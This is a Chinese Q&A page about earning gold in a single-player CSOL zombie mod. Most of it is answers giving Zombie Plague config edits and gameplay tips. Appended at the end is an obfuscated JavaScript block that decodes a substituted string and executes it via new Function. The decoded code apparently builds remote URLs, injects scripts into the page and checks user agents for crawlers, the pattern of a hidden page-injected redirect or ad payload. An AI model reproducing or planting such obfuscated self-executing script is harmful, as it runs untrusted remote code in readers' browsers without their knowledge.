小印CSOL金币怎么得?

小印单机CSOL 金币 不知道怎么得
2024-12-19 18:50:19
推荐回答(5个)
回答1:

x:\CS online\cs online迷你版\迷你反恐精英OL生化IIIV1.\cstrike\addons\amxmodx\configs目录下我们用记事本修改的有4个文件amxx.cfg plugins.ini zombieplague.ini和zombieplague.cfg
如果不在zombieplague.ini里就在amxx.cfg里会有以下条目进\zombieplague.cfg会看见以下这排文字,里面的10就是初始钱数量,不要删他前后的空格,有可能不是10,但位置正确
zp_starting_ammo_packs 10 // Starting amount of ammo packs for new players
改成
zp_starting_ammo_packs 99999999 // Starting amount of ammo packs for new players

如果不在zombieplague.ini里就在amxx.cfg里会有以下条目

[Buy Menu Weapons]
PRIMARY = weapon_galil , weapon_famas , weapon_scout , weapon_m3 , weapon_xm1014 , weapon_mac10 , weapon_m249
SECONDARY = weapon_glock18 , weapon_usp , weapon_p228 , weapon_deagle , weapon_fiveseven
ADDITIONAL ITEMS = weapon_hegrenade , weapon_flashbang , weapon_smokegrenade

以上为主武器顺序+手枪顺序(galil famas都是枪名字,要换的名字在下面找不要破坏他们的格式比如“ weapon_glock18 ,”中的 空格 _ ,)切忌

[Extra Items: Weapons and their costs]
NAMES = 小印 高爆雷 , 暴龙突击步枪 , 超级F2000突击步枪 , CF大炮 , 小印修改版毁灭者MG3 , 黄金烈魂骑士 , 老旋风AK , 英雄之枪+榴弹 , 雅金战乐灵弦 , 黄金终结者M134 ,
ITEMS = weapon_hegrenade , weapon_ump45 , weapon_p90 , weapon_awp , weapon_m249 , weapon_sg550 , weapon_aug , weapon_m4a1 , weapon_ak47 , weapon_tmp
COSTS = 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10

10就是买枪花钱的数目,

以下是武器击退效果:
[Knockback Power for Weapons] (use -1.0 to disable knockback power for the weapon)
P228 = 2.4
SCOUT = 99.5
XM1014 = 5.0
MAC10 = 5.7
AUG = 5.0
ELITE = 5.3
FIVESEVEN = 2.0
UMP45 = 4.5
SG550 = 4.8
GALIL = 5.5
FAMAS = 5.5
USP = 2.2
GLOCK18 = 2.0
AWP = 999.9
MP5NAVY = 7.5
M249 = 6.5
M3 = 6.2
M4A1 = 9999.4
TMP = 6.5
G3SG1 = 99.7
DEAGLE = 5.3
SG552 = 5.3
AK47 = 6.0
P90 = 4.6

进\zombieplague.cfg会看见以下这排文字,里面的10就是初始钱数量,不要删他前后的空格,有可能不是10,但位置正确
zp_starting_ammo_packs 10 // Starting amount of ammo packs for new players

然后是当前子弹数量(非弹夹子弹)wmc_m249 128 的128是子弹数目可调,请不要随便删其中的空格,否则后果自负。
// Additional settings
// -------------------
mp_flashlight 1 // Enables flashlight
mp_footsteps 1 // Enables footsteps
mp_playerid 1 // Prevents seeing enemies in the dark exploit
sv_maxspeed 9999 // Prevents CS from limiting your human/zombie speeds at 320
mp_consistency 0
// Ammo
wmc_m249 128
wmc_elite 40
wmc_ump45 80
wmc_mp5navy 90
wmc_sg552 80
wmc_sg550 35
wmc_tmp 500
wmc_ak47 70
wmc_m4a1 35
wmc_m3 12
wmc_g3sg1 35
wmc_scout 20
wmc_famas 45
wmc_awp 15
wmc_deagle 8
wmc_galil 50
wmc_aug 60

//射速修改
weapon_speed_aug 0.85
weapon_speed_m249 0.85
weapon_speed_m3 0.75
weapon_speed_xm1014 1.05
weapon_speed_g3sg1 0.90
weapon_speed_tmp 0.95
weapon_speed_sg550 0.60
weapon_speed_ak47 0.90
weapon_speed_awp 0.30
weapon_speed_scout 0.40
weapon_speed_m4a1 0.001//数字越小射速越快
weapon_speed_ump45 0.85
weapon_speed_elite 1.10
weapon_speed_tmp 0.80
weapon_speed_mp5navy 0.70
weapon_speed_galil 1.40
weapon_speed_p228 1.0
weapon_speed_mac10 1.0
weapon_speed_famas 1.0
weapon_speed_sg552 1.0

//武器后坐力修改参数

weap_p228_recoil 0.8
weap_scout_recoil 0.8
weap_xm1014_recoil 0.8
weap_mac10_recoil 0.8
weap_aug_recoil 0.7
weap_elite_recoil 0.8
weap_fiveseven_recoil 0.8
weap_ump45_recoil 0.8
weap_sg550_recoil 0.7
weap_galil_recoil 0.8
weap_famas_recoil 0.8
weap_usp_recoil 0.8
weap_glock18_recoil 0.8
weap_awp_recoil 0.8
weap_mp5navy_recoil 0.8
weap_m249_recoil 0.7
weap_m3_recoil 0.8
weap_m4a1_recoil 0.001 //数字越小后坐力越小
weap_tmp_recoil 0.001
weap_g3sg1_recoil 0.8
weap_deagle_recoil 0.8
weap_sg552_recoil 0.001
weap_ak47_recoil 0.8
weap_p90_recoil 1.0

//补给箱插件设置

dtgift_reloadpos //开启此插件(一旦打开,无法关闭.重新建立游戏即可关闭.)
dtgift_time 30.0 //刷新补给箱的间隔时间
dtgift_pertime 5 //每次刷新几个礼物. 默认1个 最多5个

以下是武器伤害数据amx_dmg_grenade 10* grenade是枪支名称,10*是该枪伤害翻了十倍
amx_dmg_sg550 18- 是伤害减去了18,你可以修改或添加,比如添加amx_dmg_awp 10*就是awp的伤害翻了十倍。嘎嘎很爽
// damage
amx_dmg_grenade 10*
amx_dmg_knife 10*
amx_dmg_sg550 18-
amx_dmg_sg552 2*
amx_dmg_mp5navy 2.3*
amx_dmg_tmp 2.5*
amx_dmg_m249 4+
amx_dmg_m3 3+
amx_dmg_elite 2.5*
amx_dmg_ump45 1.2*
amx_dmg_p90 1.9*

zombieplague.cfg中有
zp_lighting "t" // 地体的亮度,用英语字母表示 ["a"-最暗 // "z"-最亮 //""默认// "0"禁用]

zp_delay 24 // 在第几秒时产生僵尸 (随机产生)
zp_lighting "t" // 地体的亮度,用英语字母表示 ["a"-最暗 // "z"-最亮 //""默认// "0"禁用]
zp_thunderclap 0 // 闪电的频率 [0-禁用]
zp_triggered_lights 1 // 地图本身发出的光 (比如说路灯)
zp_remove_doors 0 // 删除门,以防止玩家利用门作为bug [0-不删除 // 1-只删除旋转门 // 2-删除所有的门]
zp_blockuse_pushables 1 //限制 + 使用在实体上来防止速度的错误
zp_block_suicide 1 // 防止玩家杀死自己
zp_random_spawn 1 // 地图上随机出生 (将使用死亡模式的插件,如果有的话)
zp_respawn_on_worldspawn_kill 1 // 球员杀死后
zp_remove_dropped 20 //武器掉在地下多久消失【0-关闭】
zp_remove_money 1 // 删除掉玩家的钱
zp_buy_custom 1 // 启动共卖菜单
zp_random_weapons 0 // 无论是CS玩家应该获得武器而不是随机购买
zp_zombie_classes 1 // 启用僵尸班
zp_stats_save 1 // 暂时储存的弹药包和僵尸级时,断开
zp_starting_ammo_packs 10 // 设置多少弹药包

// 道具
// -----------
zp_extra_items 1 // 启动外道具
zp_extra_weapons 1 // 包括武器
zp_extra_nvision 1 //包含夜视
zp_extra_antidote 1 // 包含的解毒剂
zp_extra_antidote_limit 2 // 解毒购买限制每局多少次
zp_extra_madness 1 // 显示道具中的疯狂
zp_extra_madness_limit 3 // 僵尸疯狂购买限制每局多少次
zp_extra_madness_duration 7.0 // 僵尸疯狂期
zp_extra_infbomb 0 // 显示道具中的病毒炸弹
zp_extra_infbomb_limit 1 // 感染炸弹每局购买限制

// 照明弹和夜视仪
// ------------------------
zp_nvg_give 2 // 自动给与夜视仪 [0-禁用 // 1-启动不自动打开 // 2-启用, 并自动打开]
zp_nvg_custom 1 // 开启自定义夜视仪
zp_nvg_size 999 // 夜视仪的可视范围 (半径)
zp_nvg_color_R 42 // 僵尸自定义夜视仪的颜色 (红色)
zp_nvg_color_G 42 // 僵尸自定义夜视仪的颜色 (绿色)
zp_nvg_color_B 42 // 僵尸自定义夜视仪的颜色 (蓝色)
zp_nvg_hum_color_R 0 //人类夜视仪RED
zp_nvg_hum_color_G 255 // 人类/观众自定义颜色(绿色)
zp_nvg_hum_color_B 0 // 人类/观众定制nightvision颜色(蓝色)
zp_flash_custom 1 // 使用自定义的手电筒
zp_flash_size 999 // 自定义手电筒照亮区域大小(半径)
zp_flash_drain 0 // 自定义手电筒的电量流失率[ 0 -无限手电筒]
zp_flash_charge 5 // 自定义手电筒充电速率[ 0 -非征收电池]
zp_flash_distance 1800 // 自定义手电筒最大距离
zp_flash_color_R 100 // 自定义手电筒的颜色 (红色)
zp_flash_color_G 100 // 自定义手电筒的颜色 (绿色)
zp_flash_color_B 100 // 自定义手电筒的颜色 (蓝色)
zp_flash_show_all 1 / /让我们的看到对方的手电筒

// 攻击
// ---------
zp_knockback 1 // 开启武器的击退
zp_knockback_damage 1 //用给与的伤害来计算击退
zp_knockback_power 1 // U用武器的威力来计算击退
zp_knockback_zvel 0 // 击退影响垂直方向的速度
zp_knockback_ducking 0.25 // 当僵尸被撞倒退当他们回避的时候[ 0 - 击退时禁用躲避]
zp_knockback_distance 9999.9 // 击退的最大距离
zp_knockback_nemesis 0.5 // 复仇之神攻击乘数[ 0 -禁用攻击的克星]

//跳跃
// --------
zp_leap_zombies 0 / /给飞跃僵尸[ “0” 禁止/ / 1 -使用// 2 ,只有第一僵尸// 3 ,最后一个僵尸]
zp_leap_zombies_force 500 / /力倍增
zp_leap_zombies_height 300 / /向上力量
zp_leap_zombies_cooldown 5.0 / /时间间隔的飞跃用途
zp_leap_nemesis 1 / /给飞跃复仇
zp_leap_nemesis_force 600 / /力倍增
zp_leap_nemesis_height 400 / /向上力量
zp_leap_nemesis_cooldown 5.0 / /时间间隔的飞跃用途
zp_leap_survivor 0 / /给飞跃幸存者
zp_leap_survivor_force 500 / /力倍增
zp_leap_survivor_height 300 / /向上力量
zp_leap_survivor_cooldown 5.0 / /时间间隔的飞跃用途

//人类
// ------
zp_human_health 3000 // 生命值
zp_human_last_extrahp 8000 // 最后一个人类的生命值奖励
zp_human_speed 245 // 速度
zp_human_gravity 0.9 // 重量 (0.5 = 一半)
zp_human_armor_protect 2// 在盔甲完全消失后才会被感染
zp_human_unlimited_ammo 0 // 无限弹药 [0-禁用 // 1-无限的弹药 // 2-无限的后备弹药]
zp_human_damage_reward 50 // 当人类给与僵尸多少伤害时可以获得弹药袋
zp_human_frags_for_kill 10 // 人类杀死僵尸得几分

// 自定义手雷
zp_fire_grenades 1 // 开启燃烧弹 (就是高爆手雷)
zp_fire_duration 5 // 燃烧的秒数
zp_fire_damage 340 // 燃烧的伤害 (每0.2秒)
zp_fire_slowdown 0.5 // 燃烧减慢速度的比例 (0.5 = 减少一半的速度) [0-禁用]
zp_fire_size 300// 范围 (半径)
zp_frost_grenades 1 // 开启冰冻弹 (就是闪光弹)
zp_frost_duration 10 // 冻结的时间
zp_flare_grenades 0 // 开启照明弹 (就是烟雾弹)
zp_flare_duration 45 // 照明弹的维持时间
zp_flare_size 300 // 照亮的范围 (半径)
zp_flare_color 0 // 光亮的颜色 [0-白色 // 1-红色 // 2-绿色 // 3-蓝色 // 4-完全随机 // 5-在红绿蓝中随机]

// 僵尸
// -------
zp_zombie_first_hp 8 // 第一只僵尸生命值的倍数 (2 = 两倍生命)
zp_zombie_armor 0.10 // 防弹衣的减伤比例 (0.75 = 僵尸只受到75%的伤害)
zp_zombie_hitzones 0 / /宠物 (考虑fun.inc的正文部分位) [ 0 -停用]
zp_zombie_infect_health 2000 // 没感染一个人类得到多少的生命值
zp_zombie_fov 90 // 可视范围 [0-不变]
zp_zombie_silent 1 // 是否开启僵尸的脚步声
zp_zombie_painfree 0 // 僵尸不被击晕(受到大伤害时屏幕移动) [0-禁止 // 1-每一个 // 2-只有最后的僵尸]
zp_zombie_bleeding 1 // 僵尸会留下脚印/血迹在地板上
zp_zombie_infect_reward 1 // 僵尸每感染/杀死一个人类给与的弹药包
zp_zombie_frags_for_infect 1 // 僵尸传染人类得几分

// 特殊效果
zp_infection_screenfade 1 //屏幕显示感染者
zp_infection_screenshake 1 //屏幕显示的感染者
zp_infection_sparkle 1 //光闪耀感染
zp_infection_tracers 1 //示踪感染
zp_infection_particles 1 / /粒子对感染
zp_hud_icons 1 //显示小图标的平视显示器感染,燃烧,并冻结事件

// 复仇之神
// -------
zp_nem_enabled 0 // 开启复仇之神
zp_nem_chance 999 // 产生的概率 (在多少个中产生1个)
zp_nem_min_players 0 //最小的球员需要
zp_nem_health 0 // 生命值 [0 - 人类数乘以僵尸的生命值]
zp_nem_base_health 0 / /相应的健康[ 0 -使用第一僵尸的健康]
zp_nem_speed 270 // 速度
zp_nem_gravity 0.5 // 重量 (0.5 = 一半)
zp_nem_glow 1 // 身体表面发光
zp_nem_aura 1 // 身体向外照射发光
zp_nem_painfree 0 // 不被击晕(受到大伤害时屏幕移动)
zp_nem_ignore_frags 1 // 复仇之神的杀人数不计入比分表
zp_nem_ignore_rewards 1 // 复仇之神不得到血浆袋

// 幸存者
// -------
zp_surv_enabled 0 // 开启幸存者
zp_surv_chance 10 // 产生的概率 (在多少个中产生1个)
zp_surv_min_players 0 // 最小的球员需要
zp_surv_health 4000 // 生命值 [0 - 僵尸数乘以僵尸的生命值]
zp_surv_base_health 0 // 健康[ 0 -使用第一僵尸的健康 ]
zp_surv_speed 260 // 速度
zp_surv_gravity 0.8 // 重量 (0.5 = 一半)
zp_surv_glow 0 // 身体表面发光
zp_surv_aura 0 // 身体向外照射发光
zp_surv_painfree 0 //不被击晕(受到大伤害时屏幕移动)
zp_surv_ignore_frags 0 //幸存者的杀人数不计入比分表
zp_surv_ignore_rewards 0 // 幸存者不得到血浆袋
zp_surv_weapon "weapon_sg552" //幸存者的武器(因为默认情况下)
zp_surv_weapon2 "weapon_elite" // 幸存者的副武器 (设置为副武器)
zp_surv_unlimited_ammo 0 // 无限弹药的幸存者[ 0关闭// 1 -无限// 2 备用弹药]

// 对战模式
// ----------
zp_swarm_enabled 0 // 开启僵尸模式
zp_swarm_chance 999 // 开启的概率 (在多少次中开启1次)
zp_swarm_min_players 0 //最低需要的球员

// 多人传染模式
// ------------------
zp_multi_enabled 0 // 开启多人传染模式
zp_multi_chance 1 // 开启的概率 (在多少次中开启1次)
zp_multi_min_players 3 / /最小的人员需要
zp_multi_ratio 0.32 // 感染的比例 (僵尸的数量 = 玩家数*这个值)

// 军团模式
// -----------
zp_plague_enabled 0 // 开启军团模式
zp_plague_chance 999 // 开启的概率 (在多少次中开启1次)
zp_plague_min_players 0 // 最小的人员需要
zp_plague_ratio 0.5 // 感染的比例 (僵尸的数量 = 玩家数*这个值)
zp_plague_nem_number 1 // 复仇伯爵
zp_plague_nem_hp_multi 0.5 //复仇惠普乘数( 0.5 = 50%的健康)
zp_plague_surv_number 1 // 幸存者人类
zp_plague_surv_hp_multi 0.5 //幸存者人数( 0.5 = 50%的健康)

// 记录
// -------
zp_logcommands 1 // 控制日志的文件名 "zombieplague.log"

// 其它设置
// -------------------
mp_flashlight 1 // 开启手电筒
mp_footsteps 1 // 开启脚步
mp_playerid 1 // 是否指向玩家能够见到玩家名称
sv_maxspeed 9999 / /阻止限制您的人/僵尸的速度在320

mp_consistency 0

zp_bloodcolor 182 // ZP 版本血颜色代码

// 英雄枪榴弹设置
// -------------------
zp_grenade_reloadtime 0.01 // 装载榴弹的时间
zp_grenade_rad 300 // 伤害范围的半径
zp_grenade_dmg 2400 // 伤害
zp_grenade_bonus 10 // 用榴弹炸死敌人所奖励的弹药包
zp_grenade_gravity 0.001 // 榴弹实体的重力值
zp_grenade_trail 1 // 榴弹尾巴
zp_grenade_speed 245 // 榴弹飞行速度
zp_grenade_conc 5.0 // 强制击退

回答2:

额,你打僵尸,一直打,你会看到有时候金币会上升几点,就这样滴,当然,打玩一局游戏也可以得的

回答3:

打僵尸一定的血给一金币,过关也给。

回答4:

杀僵尸,抓人

回答5:

一般都是干掉僵尸就给的---那下的,告诉我啊

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();